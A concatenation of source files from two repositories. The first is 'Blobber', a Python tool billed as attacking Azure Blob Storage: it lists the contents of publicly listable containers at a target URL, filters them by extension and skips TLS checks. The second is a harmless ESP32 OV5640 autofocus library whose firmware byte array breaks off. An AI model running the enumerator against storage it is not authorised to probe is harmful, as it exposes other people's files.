from rich.console import Console console = Console() import argparse from blobber.ui.banner import get_banner from blobber.modules.status import request from blobber.modules.blobs import blob_handler def initialize() -> None: """ Initiates Blobber """ get_banner() parser = argparse.ArgumentParser( prog='Blobber', description='Attacking Azure Blob Storage Service' ) parser.add_argument('-u', help="Specify the target URL to be used", required=True) parser.add_argument('-f', help="Filter by extension based on file name. Example: .pdf", required=False, default=None) args = parser.parse_args() url = args.u file_filter = args.f status(url, file_filter) def status(url: str, file_filter: str) -> None: """Wrapper to check the status of the given URL.""" response = request(url) if response: console.print(f"[[yellow]![/]] Enumerating blobs...\n", highlight=False) blob_handler(response.text, file_filter) else: pass if __name__ == "__main__": initialize()
000pp/blobber
1,809
src/blobber/modules/blobs.py
""" This module aims to enumerate and get Name, Last-Modified, Content-Length and Content-Typpe blob value. """ from lxml import etree from rich.console import Console console = Console() def blob_handler(content: str, file_filter: str) -> None: try: content_bytes = content.encode('utf-8') root = etree.fromstring(content_bytes) blobs = root.xpath(".//Blob") if not blobs: console.print("[[yellow]![/]] Nenhum blob encontrado.") return for blob in blobs: url_element = blob.find("Url") url = url_element.text.strip() if url_element is not None else "N/A" file_name = blob.findtext(".//Name", default="N/A").strip() last_modified = blob.findtext(".//Last-Modified", default="N/A").strip() content_length = blob.findtext(".//Content-Length", default="N/A").strip() content_type = blob.findtext(".//Content-Type", default="N/A").strip() if file_filter == None: console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False) console.print("-" * 50, "\n") if not file_filter == None: if file_name.endswith(file_filter): console.print(f"[[green]+[/]] URL: {url}\n \\_ Name: {file_name}\n \\_ Last Modified: {last_modified}\n \\_ Content-Length: {content_length}\n \\_ Content-Type: {content_type}", highlight=False) console.print("-" * 50, "\n") else: pass except Exception as error: console.print(f"[[red]![/]] Erro ao processar blobs: {error}")
000pp/blobber
1,092
src/blobber/modules/status.py
""" This module checks the status from the Azure Container passed """ from rich.console import Console console = Console() from requests import get from urllib3 import disable_warnings disable_warnings() from blobber.modules.errors import error_handler def request(url: str) -> tuple: """ Perform a GET request to the given URL, handle errors, and retry if necessary. """ url = f"{url}/?restype=container&comp=list" try: response = get(url, verify=False, timeout=10) if response.ok: console.print(f"[[green]+[/]] Connected successfully to [green]{url}[/]") return response # Handle errors error_handler_response = error_handler(url, response) if error_handler_response: return error_handler_response console.print(f"[[yellow]![/]] Request to [green]{url}[/] failed with status {response.status_code}", highlight=False) return None except Exception as error: console.print(f"[[red]![/]] Error trying to connect to [green]{url}[/]: {error}") return None
000pp/blobber
2,492
src/blobber/modules/errors.py
""" This module handle the common errors when interacting with Azure Blobs """ from rich.console import Console console = Console() from requests import get from urllib3 import disable_warnings disable_warnings() errors_list = { "InvalidQueryParameterValue": "Value for one of the query parameters specified in the request URI is invalid.", "FeatureVersionMismatch": "Trying to add 'x-ms-version: 2020-04-08' header on the request.", "ResourceNotFound": "Invalid container or blob file specified in the URL.", "AccountIsDisabled": "The specified account is disabled." } def error_handler(url: str, response) -> tuple: """ Handles errors in Azure Blob responses and retries if specific errors occur. """ try: if isinstance(response, str): response_text = response else: response_text = response.text if hasattr(response, 'text') else "" for key, value in errors_list.items(): if key in response_text: #console.print(f"[[yellow]![/yellow]] [red]{key}[/]: {value}") if key == "FeatureVersionMismatch": headers = {"x-ms-version": "2020-04-08"} retry_response = get(url, verify=False, timeout=10, headers=headers) if retry_response.ok: console.print(f"[[green]+[/]] Retried with x-ms-version header and succeeded!") return retry_response else: console.print(f"[[red]![/]] Retried but failed with status {retry_response.status_code}") return retry_response if key == "InvalidQueryParameterValue": console.print(f"[[red]![/]] {value}") return False if key == "ResourceNotFound": console.print(f"[[red]![/]] Invalid container or blob file specified in the URL.") return False if key == "AccountIsDisabled": console.print(f"[[red]![/]] {value}") return False if not isinstance(response, str) and not response.ok: console.print(f"[[yellow]![/]] Bad request to [green]{url}[/]") return None except Exception as error: console.print(f"[[red]![/]] Unexpected error in error_handler: {error}") return None
0015/ESP32-OV5640-AF
2,676
README.md
[![arduino-library-badge](https://www.ardu-badge.com/badge/OV5640%20Auto%20Focus%20for%20ESP32%20Camera.svg)](https://www.ardu-badge.com/OV5640%20Auto%20Focus%20for%20ESP32%20Camera) # Enable OV5640's autofocus function on ESP32 AI-THINKER Board This library contains the necessary firmware and source code to enable the OV5640 autofocus mode on the ESP32. ## Note Each manufacturer of OV5640 has slightly different specifications. Please check with your product first. The product I used is Waveshare's OV5640. https://www.waveshare.com/wiki/OV5640_Camera_Board_(C) ## Installation ### ESP32 Core Library You need to install the ESP32 core libraries. The install instructions for your specific OS are here: https://github.com/espressif/arduino-esp32 ### Using Arduino Library Manager From Arduino IDE, go to menu *Sketch -> Include Library -> Manage Libraries...* In Library Manager Window, search *"OV5640"* in the search form then select *"OV5640 Auto Focus for ESP32 Camera"* Click *"Install"* button. ### Manual installation Download zip file from this repository by selecting the green *"Code"* dropdown at the top of repository, select *"Download ZIP"* From Arduino IDE, select menu *Sketch -> Include Library -> Add .ZIP Library...* Or use git: ``` cd ~/arduino/libraries/ git clone [email protected]:0015/ESP32-OV5640-AF.git ``` Then you should see the examples and be able to include the library in your projects with: ``` #include "ESP32_OV5640_AF.h" ``` ## Usage This works like a standard Arduino library. Here's a minimal example: ``` // Create an object from OV5640 class at the top of your sketch OV5640 ov5640 = OV5640(); // To start OV5640, neet to pass the pointer of the esp camera sensor sensor_t* sensor = esp_camera_sensor_get(); ov5640.start(sensor); // Download Firmware for AF if (ov5640.focusInit() == 0) { Serial.println("OV5640_Focus_Init Successful!"); } // Set Continuous AF MODE if (ov5640.autoFocusMode() == 0) { Serial.println("OV5640_Auto_Focus Successful!"); } ``` See the OV5640_Console_Test example for a more fully-featured example. ## Hardware Modification To use the AF function of the OV5640 on the ESP32 AI-Thinker board, you need to connect 3.3v to the last 24th pin(AF-VCC). I share what I've been working on. [You can also see how AF works.](https://youtu.be/922BWy3OOoQ) <a href="https://youtu.be/922BWy3OOoQ"> <img width="800" src="https://github.com/0015/ESP32-OV5640-AF/blob/main/misc/main.jpg"> </a> # Updates - v0.1.1 - Only Added CONTINUOUS AUTOFOCUS Mode # License This software is written by Eric Nam and is licensed under The MIT License. Check License file for more information.
0015/ESP32-OV5640-AF
28,448
src/ESP32_OV5640_cfg.h
/* ESP32_OV5640_cfg.h - Library for OV5640 Auto Focus (ESP32 Camera) Created by Eric Nam, December 08, 2021. Released into the public domain. */ #define OV5640_CHIPID_HIGH 0x300a #define OV5640_CHIPID_LOW 0x300b #define OV5640_CMD_MAIN 0x3022 #define OV5640_CMD_ACK 0x3023 #define OV5640_CMD_PARA0 0x3024 #define OV5640_CMD_PARA1 0x3025 #define OV5640_CMD_PARA2 0x3026 #define OV5640_CMD_PARA3 0x3027 #define OV5640_CMD_PARA4 0x3028 #define OV5640_CMD_FW_STATUS 0x3029 #define AF_TRIG_SINGLE_AUTO_FOCUS 0x03 #define AF_CONTINUE_AUTO_FOCUS 0x04 #define FW_STATUS_S_FIRMWARE 0x7F #define FW_STATUS_S_STARTUP 0x7E #define FW_STATUS_S_IDLE 0x70 #define FW_STATUS_S_FOCUSED 0x10 #define FW_STATUS_S_ZONE_CONFIG 0x16 #define FW_STATUS_S_FOCUSING 0x00 //0x00 - 0X0F, 0x80 - 0X8F struct sensor_reg { uint16_t reg; uint8_t val; }; const unsigned char OV5640_AF_Config[] = { 0x02, 0x0f, 0xd6, 0x02, 0x0a, 0x39, 0xc2, 0x01, 0x22, 0x22, 0x00, 0x02, 0x0f, 0xb2, 0xe5, 0x1f, //0x8000, 0x70, 0x72, 0xf5, 0x1e, 0xd2, 0x35, 0xff, 0xef, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xe4, 0xf6, 0x08, //0x8010, 0xf6, 0x0f, 0xbf, 0x34, 0xf2, 0x90, 0x0e, 0x93, 0xe4, 0x93, 0xff, 0xe5, 0x4b, 0xc3, 0x9f, 0x50, //0x8020, 0x04, 0x7f, 0x05, 0x80, 0x02, 0x7f, 0xfb, 0x78, 0xbd, 0xa6, 0x07, 0x12, 0x0f, 0x04, 0x40, 0x04, //0x8030, 0x7f, 0x03, 0x80, 0x02, 0x7f, 0x30, 0x78, 0xbc, 0xa6, 0x07, 0xe6, 0x18, 0xf6, 0x08, 0xe6, 0x78, //0x8040, 0xb9, 0xf6, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xbf, 0x76, 0x33, 0xe4, 0x08, 0xf6, 0x78, //0x8050, 0xb8, 0x76, 0x01, 0x75, 0x4a, 0x02, 0x78, 0xb6, 0xf6, 0x08, 0xf6, 0x74, 0xff, 0x78, 0xc1, 0xf6, //0x8060, 0x08, 0xf6, 0x75, 0x1f, 0x01, 0x78, 0xbc, 0xe6, 0x75, 0xf0, 0x05, 0xa4, 0xf5, 0x4b, 0x12, 0x0a, //0x8070, 0xff, 0xc2, 0x37, 0x22, 0x78, 0xb8, 0xe6, 0xd3, 0x94, 0x00, 0x40, 0x02, 0x16, 0x22, 0xe5, 0x1f, //0x8080, 0xb4, 0x05, 0x23, 0xe4, 0xf5, 0x1f, 0xc2, 0x01, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xff, 0x78, //0x8090, 0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0xa2, 0x37, 0xe4, 0x33, 0xf5, 0x3c, 0x90, 0x30, 0x28, 0xf0, //0x80a0, 0x75, 0x1e, 0x10, 0xd2, 0x35, 0x22, 0xe5, 0x4b, 0x75, 0xf0, 0x05, 0x84, 0x78, 0xbc, 0xf6, 0x90, //0x80b0, 0x0e, 0x8c, 0xe4, 0x93, 0xff, 0x25, 0xe0, 0x24, 0x0a, 0xf8, 0xe6, 0xfc, 0x08, 0xe6, 0xfd, 0x78, //0x80c0, 0xbc, 0xe6, 0x25, 0xe0, 0x24, 0x4e, 0xf8, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0xef, 0x12, 0x0f, 0x0b, //0x80d0, 0xd3, 0x78, 0xb7, 0x96, 0xee, 0x18, 0x96, 0x40, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xb9, 0xf6, 0x78, //0x80e0, 0xb6, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x8c, 0xe4, 0x93, 0x12, 0x0f, 0x0b, 0xc3, 0x78, //0x80f0, 0xc2, 0x96, 0xee, 0x18, 0x96, 0x50, 0x0d, 0x78, 0xbc, 0xe6, 0x78, 0xba, 0xf6, 0x78, 0xc1, 0xa6, //0x8100, 0x06, 0x08, 0xa6, 0x07, 0x78, 0xb6, 0xe6, 0xfe, 0x08, 0xe6, 0xc3, 0x78, 0xc2, 0x96, 0xff, 0xee, //0x8110, 0x18, 0x96, 0x78, 0xc3, 0xf6, 0x08, 0xa6, 0x07, 0x90, 0x0e, 0x95, 0xe4, 0x18, 0x12, 0x0e, 0xe9, //0x8120, 0x40, 0x02, 0xd2, 0x37, 0x78, 0xbc, 0xe6, 0x08, 0x26, 0x08, 0xf6, 0xe5, 0x1f, 0x64, 0x01, 0x70, //0x8130, 0x4a, 0xe6, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xdf, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, 0x39, 0x12, //0x8140, 0x0f, 0x02, 0x40, 0x04, 0x7f, 0xfe, 0x80, 0x02, 0x7f, 0x02, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, //0x8150, 0xe6, 0x24, 0x03, 0x78, 0xbf, 0xf6, 0x78, 0xb9, 0xe6, 0x24, 0xfd, 0x78, 0xc0, 0xf6, 0x12, 0x0f, //0x8160, 0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8170, 0x07, 0x75, 0x1f, 0x02, 0x78, 0xb8, 0x76, 0x01, 0x02, 0x02, 0x4a, 0xe5, 0x1f, 0x64, 0x02, 0x60, //0x8180, 0x03, 0x02, 0x02, 0x2a, 0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x08, //0x8190, 0x12, 0x0e, 0xda, 0x50, 0x03, 0x02, 0x02, 0x28, 0x12, 0x0f, 0x02, 0x40, 0x04, 0x7f, 0xff, 0x80, //0x81a0, 0x02, 0x7f, 0x01, 0x78, 0xbd, 0xa6, 0x07, 0x78, 0xb9, 0xe6, 0x04, 0x78, 0xbf, 0xf6, 0x78, 0xb9, //0x81b0, 0xe6, 0x14, 0x78, 0xc0, 0xf6, 0x18, 0x12, 0x0f, 0x04, 0x40, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, //0x81c0, 0x00, 0x78, 0xbf, 0xa6, 0x07, 0xd3, 0x08, 0xe6, 0x64, 0x80, 0x94, 0x80, 0x40, 0x04, 0xe6, 0xff, //0x81d0, 0x80, 0x02, 0x7f, 0x00, 0x78, 0xc0, 0xa6, 0x07, 0xc3, 0x18, 0xe6, 0x64, 0x80, 0x94, 0xb3, 0x50, //0x81e0, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xbf, 0xa6, 0x07, 0xc3, 0x08, 0xe6, 0x64, 0x80, //0x81f0, 0x94, 0xb3, 0x50, 0x04, 0xe6, 0xff, 0x80, 0x02, 0x7f, 0x33, 0x78, 0xc0, 0xa6, 0x07, 0x12, 0x0f, //0x8200, 0x02, 0x40, 0x06, 0x78, 0xc0, 0xe6, 0xff, 0x80, 0x04, 0x78, 0xbf, 0xe6, 0xff, 0x78, 0xbe, 0xa6, //0x8210, 0x07, 0x75, 0x1f, 0x03, 0x78, 0xb8, 0x76, 0x01, 0x80, 0x20, 0xe5, 0x1f, 0x64, 0x03, 0x70, 0x26, //0x8220, 0x78, 0xbe, 0xe6, 0xff, 0xc3, 0x78, 0xc0, 0x12, 0x0e, 0xe0, 0x40, 0x05, 0x12, 0x0e, 0xda, 0x40, //0x8230, 0x09, 0x78, 0xb9, 0xe6, 0x78, 0xbe, 0xf6, 0x75, 0x1f, 0x04, 0x78, 0xbe, 0xe6, 0x75, 0xf0, 0x05, //0x8240, 0xa4, 0xf5, 0x4b, 0x02, 0x0a, 0xff, 0xe5, 0x1f, 0xb4, 0x04, 0x10, 0x90, 0x0e, 0x94, 0xe4, 0x78, //0x8250, 0xc3, 0x12, 0x0e, 0xe9, 0x40, 0x02, 0xd2, 0x37, 0x75, 0x1f, 0x05, 0x22, 0x30, 0x01, 0x03, 0x02, //0x8260, 0x04, 0xc0, 0x30, 0x02, 0x03, 0x02, 0x04, 0xc0, 0x90, 0x51, 0xa5, 0xe0, 0x78, 0x93, 0xf6, 0xa3, //0x8270, 0xe0, 0x08, 0xf6, 0xa3, 0xe0, 0x08, 0xf6, 0xe5, 0x1f, 0x70, 0x3c, 0x75, 0x1e, 0x20, 0xd2, 0x35, //0x8280, 0x12, 0x0c, 0x7a, 0x78, 0x7e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xa6, 0x09, 0x18, 0x76, //0x8290, 0x01, 0x12, 0x0c, 0x5b, 0x78, 0x4e, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8b, 0xe6, 0x78, 0x6e, //0x82a0, 0xf6, 0x75, 0x1f, 0x01, 0x78, 0x93, 0xe6, 0x78, 0x90, 0xf6, 0x78, 0x94, 0xe6, 0x78, 0x91, 0xf6, //0x82b0, 0x78, 0x95, 0xe6, 0x78, 0x92, 0xf6, 0x22, 0x79, 0x90, 0xe7, 0xd3, 0x78, 0x93, 0x96, 0x40, 0x05, //0x82c0, 0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x93, 0xe7, 0x78, 0x90, 0x96, 0xff, 0x78, 0x88, 0x76, //0x82d0, 0x00, 0x08, 0xa6, 0x07, 0x79, 0x91, 0xe7, 0xd3, 0x78, 0x94, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, //0x82e0, 0x80, 0x08, 0xc3, 0x79, 0x94, 0xe7, 0x78, 0x91, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x79, 0x92, 0xe7, //0x82f0, 0xd3, 0x78, 0x95, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, 0x08, 0xc3, 0x79, 0x95, 0xe7, 0x78, //0x8300, 0x92, 0x96, 0xff, 0x12, 0x0c, 0x8e, 0x12, 0x0c, 0x5b, 0x78, 0x8a, 0xe6, 0x25, 0xe0, 0x24, 0x4e, //0x8310, 0xf8, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x78, 0x8a, 0xe6, 0x24, 0x6e, 0xf8, 0xa6, 0x09, 0x78, 0x8a, //0x8320, 0xe6, 0x24, 0x01, 0xff, 0xe4, 0x33, 0xfe, 0xd3, 0xef, 0x94, 0x0f, 0xee, 0x64, 0x80, 0x94, 0x80, //0x8330, 0x40, 0x04, 0x7f, 0x00, 0x80, 0x05, 0x78, 0x8a, 0xe6, 0x04, 0xff, 0x78, 0x8a, 0xa6, 0x07, 0xe5, //0x8340, 0x1f, 0xb4, 0x01, 0x0a, 0xe6, 0x60, 0x03, 0x02, 0x04, 0xc0, 0x75, 0x1f, 0x02, 0x22, 0x12, 0x0c, //0x8350, 0x7a, 0x78, 0x80, 0xa6, 0x06, 0x08, 0xa6, 0x07, 0x12, 0x0c, 0x7a, 0x78, 0x82, 0xa6, 0x06, 0x08, //0x8360, 0xa6, 0x07, 0x78, 0x6e, 0xe6, 0x78, 0x8c, 0xf6, 0x78, 0x6e, 0xe6, 0x78, 0x8d, 0xf6, 0x7f, 0x01, //0x8370, 0xef, 0x25, 0xe0, 0x24, 0x4f, 0xf9, 0xc3, 0x78, 0x81, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x50, //0x8380, 0x0a, 0x12, 0x0c, 0x82, 0x78, 0x80, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, //0x8390, 0x8c, 0xe6, 0xc3, 0x97, 0x50, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8c, 0xf6, 0xef, 0x25, //0x83a0, 0xe0, 0x24, 0x4f, 0xf9, 0xd3, 0x78, 0x83, 0xe6, 0x97, 0x18, 0xe6, 0x19, 0x97, 0x40, 0x0a, 0x12, //0x83b0, 0x0c, 0x82, 0x78, 0x82, 0xa6, 0x04, 0x08, 0xa6, 0x05, 0x74, 0x6e, 0x2f, 0xf9, 0x78, 0x8d, 0xe6, //0x83c0, 0xd3, 0x97, 0x40, 0x08, 0x74, 0x6e, 0x2f, 0xf8, 0xe6, 0x78, 0x8d, 0xf6, 0x0f, 0xef, 0x64, 0x10, //0x83d0, 0x70, 0x9e, 0xc3, 0x79, 0x81, 0xe7, 0x78, 0x83, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0x78, 0x84, //0x83e0, 0xf6, 0x08, 0xa6, 0x07, 0xc3, 0x79, 0x8c, 0xe7, 0x78, 0x8d, 0x96, 0x08, 0xf6, 0xd3, 0x79, 0x81, //0x83f0, 0xe7, 0x78, 0x7f, 0x96, 0x19, 0xe7, 0x18, 0x96, 0x40, 0x05, 0x09, 0xe7, 0x08, 0x80, 0x06, 0xc3, //0x8400, 0x79, 0x7f, 0xe7, 0x78, 0x81, 0x96, 0xff, 0x19, 0xe7, 0x18, 0x96, 0xfe, 0x78, 0x86, 0xa6, 0x06, //0x8410, 0x08, 0xa6, 0x07, 0x79, 0x8c, 0xe7, 0xd3, 0x78, 0x8b, 0x96, 0x40, 0x05, 0xe7, 0x96, 0xff, 0x80, //0x8420, 0x08, 0xc3, 0x79, 0x8b, 0xe7, 0x78, 0x8c, 0x96, 0xff, 0x78, 0x8f, 0xa6, 0x07, 0xe5, 0x1f, 0x64, //0x8430, 0x02, 0x70, 0x69, 0x90, 0x0e, 0x91, 0x93, 0xff, 0x18, 0xe6, 0xc3, 0x9f, 0x50, 0x72, 0x12, 0x0c, //0x8440, 0x4a, 0x12, 0x0c, 0x2f, 0x90, 0x0e, 0x8e, 0x12, 0x0c, 0x38, 0x78, 0x80, 0x12, 0x0c, 0x6b, 0x7b, //0x8450, 0x04, 0x12, 0x0c, 0x1d, 0xc3, 0x12, 0x06, 0x45, 0x50, 0x56, 0x90, 0x0e, 0x92, 0xe4, 0x93, 0xff, //0x8460, 0x78, 0x8f, 0xe6, 0x9f, 0x40, 0x02, 0x80, 0x11, 0x90, 0x0e, 0x90, 0xe4, 0x93, 0xff, 0xd3, 0x78, //0x8470, 0x89, 0xe6, 0x9f, 0x18, 0xe6, 0x94, 0x00, 0x40, 0x03, 0x75, 0x1f, 0x05, 0x12, 0x0c, 0x4a, 0x12, //0x8480, 0x0c, 0x2f, 0x90, 0x0e, 0x8f, 0x12, 0x0c, 0x38, 0x78, 0x7e, 0x12, 0x0c, 0x6b, 0x7b, 0x40, 0x12, //0x8490, 0x0c, 0x1d, 0xd3, 0x12, 0x06, 0x45, 0x40, 0x18, 0x75, 0x1f, 0x05, 0x22, 0xe5, 0x1f, 0xb4, 0x05, //0x84a0, 0x0f, 0xd2, 0x01, 0xc2, 0x02, 0xe4, 0xf5, 0x1f, 0xf5, 0x1e, 0xd2, 0x35, 0xd2, 0x33, 0xd2, 0x36, //0x84b0, 0x22, 0xef, 0x8d, 0xf0, 0xa4, 0xa8, 0xf0, 0xcf, 0x8c, 0xf0, 0xa4, 0x28, 0xce, 0x8d, 0xf0, 0xa4, //0x84c0, 0x2e, 0xfe, 0x22, 0xbc, 0x00, 0x0b, 0xbe, 0x00, 0x29, 0xef, 0x8d, 0xf0, 0x84, 0xff, 0xad, 0xf0, //0x84d0, 0x22, 0xe4, 0xcc, 0xf8, 0x75, 0xf0, 0x08, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xec, 0x33, 0xfc, //0x84e0, 0xee, 0x9d, 0xec, 0x98, 0x40, 0x05, 0xfc, 0xee, 0x9d, 0xfe, 0x0f, 0xd5, 0xf0, 0xe9, 0xe4, 0xce, //0x84f0, 0xfd, 0x22, 0xed, 0xf8, 0xf5, 0xf0, 0xee, 0x84, 0x20, 0xd2, 0x1c, 0xfe, 0xad, 0xf0, 0x75, 0xf0, //0x8500, 0x08, 0xef, 0x2f, 0xff, 0xed, 0x33, 0xfd, 0x40, 0x07, 0x98, 0x50, 0x06, 0xd5, 0xf0, 0xf2, 0x22, //0x8510, 0xc3, 0x98, 0xfd, 0x0f, 0xd5, 0xf0, 0xea, 0x22, 0xe8, 0x8f, 0xf0, 0xa4, 0xcc, 0x8b, 0xf0, 0xa4, //0x8520, 0x2c, 0xfc, 0xe9, 0x8e, 0xf0, 0xa4, 0x2c, 0xfc, 0x8a, 0xf0, 0xed, 0xa4, 0x2c, 0xfc, 0xea, 0x8e, //0x8530, 0xf0, 0xa4, 0xcd, 0xa8, 0xf0, 0x8b, 0xf0, 0xa4, 0x2d, 0xcc, 0x38, 0x25, 0xf0, 0xfd, 0xe9, 0x8f, //0x8540, 0xf0, 0xa4, 0x2c, 0xcd, 0x35, 0xf0, 0xfc, 0xeb, 0x8e, 0xf0, 0xa4, 0xfe, 0xa9, 0xf0, 0xeb, 0x8f, //0x8550, 0xf0, 0xa4, 0xcf, 0xc5, 0xf0, 0x2e, 0xcd, 0x39, 0xfe, 0xe4, 0x3c, 0xfc, 0xea, 0xa4, 0x2d, 0xce, //0x8560, 0x35, 0xf0, 0xfd, 0xe4, 0x3c, 0xfc, 0x22, 0x75, 0xf0, 0x08, 0x75, 0x82, 0x00, 0xef, 0x2f, 0xff, //0x8570, 0xee, 0x33, 0xfe, 0xcd, 0x33, 0xcd, 0xcc, 0x33, 0xcc, 0xc5, 0x82, 0x33, 0xc5, 0x82, 0x9b, 0xed, //0x8580, 0x9a, 0xec, 0x99, 0xe5, 0x82, 0x98, 0x40, 0x0c, 0xf5, 0x82, 0xee, 0x9b, 0xfe, 0xed, 0x9a, 0xfd, //0x8590, 0xec, 0x99, 0xfc, 0x0f, 0xd5, 0xf0, 0xd6, 0xe4, 0xce, 0xfb, 0xe4, 0xcd, 0xfa, 0xe4, 0xcc, 0xf9, //0x85a0, 0xa8, 0x82, 0x22, 0xb8, 0x00, 0xc1, 0xb9, 0x00, 0x59, 0xba, 0x00, 0x2d, 0xec, 0x8b, 0xf0, 0x84, //0x85b0, 0xcf, 0xce, 0xcd, 0xfc, 0xe5, 0xf0, 0xcb, 0xf9, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, //0x85c0, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xeb, 0x33, 0xfb, 0x10, 0xd7, 0x03, 0x99, 0x40, 0x04, 0xeb, //0x85d0, 0x99, 0xfb, 0x0f, 0xd8, 0xe5, 0xe4, 0xf9, 0xfa, 0x22, 0x78, 0x18, 0xef, 0x2f, 0xff, 0xee, 0x33, //0x85e0, 0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xc9, 0x33, 0xc9, 0x10, 0xd7, 0x05, 0x9b, 0xe9, 0x9a, //0x85f0, 0x40, 0x07, 0xec, 0x9b, 0xfc, 0xe9, 0x9a, 0xf9, 0x0f, 0xd8, 0xe0, 0xe4, 0xc9, 0xfa, 0xe4, 0xcc, //0x8600, 0xfb, 0x22, 0x75, 0xf0, 0x10, 0xef, 0x2f, 0xff, 0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xcc, 0x33, //0x8610, 0xcc, 0xc8, 0x33, 0xc8, 0x10, 0xd7, 0x07, 0x9b, 0xec, 0x9a, 0xe8, 0x99, 0x40, 0x0a, 0xed, 0x9b, //0x8620, 0xfd, 0xec, 0x9a, 0xfc, 0xe8, 0x99, 0xf8, 0x0f, 0xd5, 0xf0, 0xda, 0xe4, 0xcd, 0xfb, 0xe4, 0xcc, //0x8630, 0xfa, 0xe4, 0xc8, 0xf9, 0x22, 0xeb, 0x9f, 0xf5, 0xf0, 0xea, 0x9e, 0x42, 0xf0, 0xe9, 0x9d, 0x42, //0x8640, 0xf0, 0xe8, 0x9c, 0x45, 0xf0, 0x22, 0xe8, 0x60, 0x0f, 0xec, 0xc3, 0x13, 0xfc, 0xed, 0x13, 0xfd, //0x8650, 0xee, 0x13, 0xfe, 0xef, 0x13, 0xff, 0xd8, 0xf1, 0x22, 0xe8, 0x60, 0x0f, 0xef, 0xc3, 0x33, 0xff, //0x8660, 0xee, 0x33, 0xfe, 0xed, 0x33, 0xfd, 0xec, 0x33, 0xfc, 0xd8, 0xf1, 0x22, 0xe4, 0x93, 0xfc, 0x74, //0x8670, 0x01, 0x93, 0xfd, 0x74, 0x02, 0x93, 0xfe, 0x74, 0x03, 0x93, 0xff, 0x22, 0xe6, 0xfb, 0x08, 0xe6, //0x8680, 0xf9, 0x08, 0xe6, 0xfa, 0x08, 0xe6, 0xcb, 0xf8, 0x22, 0xec, 0xf6, 0x08, 0xed, 0xf6, 0x08, 0xee, //0x8690, 0xf6, 0x08, 0xef, 0xf6, 0x22, 0xa4, 0x25, 0x82, 0xf5, 0x82, 0xe5, 0xf0, 0x35, 0x83, 0xf5, 0x83, //0x86a0, 0x22, 0xd0, 0x83, 0xd0, 0x82, 0xf8, 0xe4, 0x93, 0x70, 0x12, 0x74, 0x01, 0x93, 0x70, 0x0d, 0xa3, //0x86b0, 0xa3, 0x93, 0xf8, 0x74, 0x01, 0x93, 0xf5, 0x82, 0x88, 0x83, 0xe4, 0x73, 0x74, 0x02, 0x93, 0x68, //0x86c0, 0x60, 0xef, 0xa3, 0xa3, 0xa3, 0x80, 0xdf, 0x90, 0x38, 0x04, 0x78, 0x52, 0x12, 0x0b, 0xfd, 0x90, //0x86d0, 0x38, 0x00, 0xe0, 0xfe, 0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x10, //0x86e0, 0x12, 0x0b, 0x92, 0x90, 0x38, 0x06, 0x78, 0x54, 0x12, 0x0b, 0xfd, 0x90, 0x38, 0x02, 0xe0, 0xfe, //0x86f0, 0xa3, 0xe0, 0xfd, 0xed, 0xff, 0xc3, 0x12, 0x0b, 0x9e, 0x90, 0x38, 0x12, 0x12, 0x0b, 0x92, 0xa3, //0x8700, 0xe0, 0xb4, 0x31, 0x07, 0x78, 0x52, 0x79, 0x52, 0x12, 0x0c, 0x13, 0x90, 0x38, 0x14, 0xe0, 0xb4, //0x8710, 0x71, 0x15, 0x78, 0x52, 0xe6, 0xfe, 0x08, 0xe6, 0x78, 0x02, 0xce, 0xc3, 0x13, 0xce, 0x13, 0xd8, //0x8720, 0xf9, 0x79, 0x53, 0xf7, 0xee, 0x19, 0xf7, 0x90, 0x38, 0x15, 0xe0, 0xb4, 0x31, 0x07, 0x78, 0x54, //0x8730, 0x79, 0x54, 0x12, 0x0c, 0x13, 0x90, 0x38, 0x15, 0xe0, 0xb4, 0x71, 0x15, 0x78, 0x54, 0xe6, 0xfe, //0x8740, 0x08, 0xe6, 0x78, 0x02, 0xce, 0xc3, 0x13, 0xce, 0x13, 0xd8, 0xf9, 0x79, 0x55, 0xf7, 0xee, 0x19, //0x8750, 0xf7, 0x79, 0x52, 0x12, 0x0b, 0xd9, 0x09, 0x12, 0x0b, 0xd9, 0xaf, 0x47, 0x12, 0x0b, 0xb2, 0xe5, //0x8760, 0x44, 0xfb, 0x7a, 0x00, 0xfd, 0x7c, 0x00, 0x12, 0x04, 0xd3, 0x78, 0x5a, 